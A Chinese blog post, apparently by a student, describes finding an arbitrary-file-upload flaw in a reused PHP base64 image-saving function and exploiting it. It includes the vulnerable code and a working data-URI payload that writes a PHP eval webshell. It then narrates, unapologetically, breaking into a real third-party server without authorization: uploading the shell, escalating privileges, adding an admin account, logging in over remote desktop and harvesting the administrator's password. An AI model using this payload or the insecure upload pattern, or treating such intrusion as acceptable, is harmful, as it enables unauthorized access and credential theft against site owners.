仿站仿到了别人的服务器

最近一直在做毕设,做一个网站(具体的不能讲,怕您们社工出来给比人日了,别人还没修复)

在做到头像上传的时候我去参考了目标站,它的上传头像功能有点不错,可以剪辑头像,并实时预览。虽然这个功能现在满大街都是,大多都是引用封装好的jq,但我打算自己实现。

QQ截图20190414014602.png



但是比我预想的有点复杂,我又去度娘那里Copy代码去了。

在翻看别人保存的时候,大多数都是保存base64格式的代码,目标站也是保存base64的图片到服务器。

但是在查看别人代码的时候发现了bug,可导致getshell。

代码如下:


/**
 * [将Base64图片转换为本地图片并保存]
 * @E-mial wuliqiang_aa@163.com
 * @TIME   2017-04-07
 * @WEB    http://blog.iinu.com.cn
 * @param  [Base64] $base64_image_content [要保存的Base64]
 * @param  [目录] $path [要保存的路径]
 */
function base64_image_content($base64_image_content,$path){
    //匹配出图片的格式
    if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)){
        $type = $result[2];
        $new_file = $path."/".date('Ymd',time())."/";
        if(!file_exists($new_file)){
            //检查是否有该文件夹,如果没有就创建,并给予最高权限
            mkdir($new_file, 0700);
        }
        $new_file = $new_file.time().".{$type}";
        if (file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_image_content)))){
            return '/'.$new_file;
        }else{
            return false;
        }
    }else{
        return false;
    }



漏洞触发点就是第11,12行的正则匹配后缀。

  

  if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)){
        $type = $result[2];


然后在保存文件的时候保存为匹配的后缀,这段原作者的本意可能是jpg的图片就保存为xxx.jpg,gif的就保存为xxx.gif这样看起来高大上一点。


$new_file = $new_file.time().".{$type}";


但这就到了任意文件上传。



另外说下:我这个人就是个屌丝,为了安全起见我之前做的所有项目只要有上传图片的,我保存统一后缀为png,即使是jpg或其他形式在网页上也可以正常显示。而且还少了匹配后缀浪费的几乎不计的时间(我写代码就是这么抠门,能节约一点程序的负载就节约一点,这是优点)。


回归正题,我们抓包看下上传代码

QQ截图20190414020051.png


data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAMoAygDASIAAhEBAxEB/8QAHgAAAQMFAQEAAAAAAAAAAAAAAAMEBQECBgcICQr/xAB1EAABAwIEAwMFBgwLEQwIBAcBAAIDBBEFBhIhBxMxFEFRCBUiYYEJIzJScaEWFyQ0QoWRlaa10+QYOEhUYnWSsbPB1BkmMzY


上传的数据 有上面那段代码处理 就是 匹配到jpeg后缀

data:image/jpeg;base64,/


然后保存data:image/jpeg;base64,后面的base64编码到文件。

data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAMoAygDASIAAhEBAxEB/8QAHgAAAQMFAQEAAAAAAAAAAAAAAAMEBQECBgcICQr/xAB1EAABAwIEAwMFBgwLEQwIBAcBAAIDBBEFBhIhBxMxFEFRCBUiYYEJIzJScaEWFyQ0QoWRlaa10+QYOEhUYnWSsbPB1BkmMzY


假如我们构造这样的数据上传,

data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbJ0FNQU4nXSkgPz4=

PD9waHAgZXZhbCgkX1BPU1RbJ0FNQU4nXSkgPz4=这段数据是<?php eval($_POST['AMAN']) ?>的base64编码。

这样在保存的时候就是xxx.php 内容为<?php eval($_POST['AMAN']) ?>。

我拿到目标站测试下果然成功上传。

QQ图片20190414021116.png

本来想着改下他的代码作为毕设用,但抱着学习的心态还是自己写吧,不过可以下载他的代码参考下。

上传打包代码想下载源码,但是压缩文件的时候发现图片太多,压缩后大概1.6G,然后就试着提权。

结果很顺利,成功添加管理员用户。

但是在链接3389的时候发现连接不上,扫端口发现他的远程链接端口改为了63389

QQ图片20190414021456.png

成功连接。

QQ图片20190414021910.png


后面就是我最爱的翻服务器,最后不仅找到了管理员的qq,还找到了他的密码。

不过现在对这些没啥兴趣

加管理员QQ,等他通过审核,让他修复漏洞。

我要去做那该死的毕设了。88


  • blogger

发表评论

    微笑 大笑 拽 大哭 奸笑 流汗 喷血 生气 囧 不爽 晕 示爱 卖萌 吃惊 迷离 爱你 吓死了 呵呵